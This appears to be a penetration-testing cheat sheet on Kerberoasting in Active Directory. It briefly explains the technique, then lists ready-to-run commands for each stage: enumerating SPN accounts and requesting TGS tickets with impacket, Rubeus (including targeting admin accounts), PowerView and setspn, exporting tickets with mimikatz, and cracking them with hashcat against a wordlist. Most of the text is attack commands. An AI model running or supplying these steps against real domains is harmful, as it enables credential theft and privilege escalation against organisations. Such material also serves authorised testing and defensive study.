Attack explaination: We request Kerberos TGS ticket(s) from account(s) with SPN (Service Principal Name). SPN looks like this:
Domain.local/user. The ticket is encrypted using the account’sNTLMhash.We cannot use this requested ticket to authenticate or run command with this user’s privilege.
So, we can use the whole requested ticket and feed it to
hashcatto crack that account’s password. The attack won’t work when that account has a complex password and we cannot crack it.
Hashcatmode is13100. Or you can just not specify it, it will auto detect
Linux attacker#
Enumerate all accounts with SPN#
impacket-GetUserSPNs -dc-ip $target "$domain/$user:$pass"Attack all account#
Request all Kerberos TGS ticket from all accounts that has principal name. Need valid credential.
impacket-GetUserSPNs -dc-ip $target "$domain/$user:$pass" -requestAttack specific account#
Request Kerberos TGS ticket from a specific account that has principal name. Need valid credential.
GetUserSPNs.py -dc-ip $target "$domain/$user:$pass" -request-user userCrack ticket#
hashcat -a 0 '$krb5tgs$23$*user$DOMAIN.LOCAL$DOMAIN/user*$ce029eed<redacted>' /usr/share/wordlists/rockyou.txtDomain-joined windows attacker#
3 methods to accomplish the same thing.
Rubeus (automated)#
Attack all account#
.\Rubeus.exe kerberoast /nowrapAttack admin accounts#
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrapAttack specific account#
.\Rubeus.exe kerberoast /user:'user' /nowrapPowerview (automated)#
Enumerate all accounts with SPN#
Import-Module .\PowerView.ps1
Get-DomainUser * -spn | select samaccountname,serviceprincipalnameAttack all accounts#
And export it into a csv file for your convenience
Get-DomainUser -Identity */* -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\TGS.csv -NoTypeInformationAttack specific account#
Get-DomainUser -Identity user | Get-DomainSPNTicket -Format HashcatMimikatz (manual)#
Enumerate all accounts with SPN#
setspn.exe -Q */*Request TGS for all accounts#
setspn.exe -T $domain -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }After doing this, use
mimikatzto extract the ticket
Request TGS for specific account#
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "$domain/$user"After doing this, use
mimikatzto extract the ticket
Extracting tickets with mimikatz#
.\mimikatz.exe
mimikatz # privilege::debug
mimikatz # base64 /out:true
kerberos::list /exportCrack the ticket#
Use the base64 blob we got from mimikatz
echo "<base64 blob>" | tr -d \\n | base64 -d > user.kirbi
kirbi2john user.kirbiOptional: modify the output file to be usable for hashcat:
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > user.tgsHashcat to crack#
hashcat -a 0 '$krb5tgs$23$*user$DOMAIN.LOCAL$DOMAIN/user*$ce029eed<redacted>' /usr/share/wordlists/rockyou.txt